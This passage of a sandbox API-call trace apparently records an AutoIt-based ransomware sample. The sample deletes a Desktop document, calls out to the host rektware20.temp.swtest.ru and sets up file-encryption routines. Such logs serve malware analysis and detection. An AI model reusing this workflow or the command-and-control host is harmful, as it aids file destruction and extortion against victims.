wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.699] CloseHandle (hObject=0x3d8) returned 1 [0074.702] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.705] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.705] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", lpFilePart=0x0) returned 0x31 [0074.705] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\5bjlobdad2w_thp.doc")) returned 0x20 [0074.705] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0074.705] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\5bjlobdad2w_thp.doc")) returned 1 [0074.708] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.709] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0074.709] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.709] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.709] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.709] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.709] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d170 [0074.709] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0074.709] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.709] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.709] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.709] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.709] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.710] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c) returned 1 [0074.710] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.710] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.710] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.711] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.711] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.711] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.712] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.712] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.712] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.712] CloseHandle (hObject=0x0) returned 0 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="60FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FJ7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dhn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hn4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YuT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uT1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GsdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sdeV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eV.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0074.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.714] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.714] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.714] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.714] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.714] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.714] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.714] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.714] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.714] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ee1c) returned 1 [0074.714] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.714] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.714] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.715] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0074.715] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0074.715] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0074.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0074.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0074.715] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.716] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.716] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.716] CloseHandle (hObject=0x0) returned 0 [0074.716] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.716] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0074.716] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0074.716] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.716] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.716] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.716] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.717] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.717] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0074.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.717] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0074.717] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.717] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.717] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.717] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0074.717] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0074.718] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0074.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0074.718] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0074.718] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1632078) returned 1 [0074.719] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.719] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0074.719] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.719] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.719] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0074.719] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.719] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.720] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.720] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.720] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.720] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.720] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.720] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, 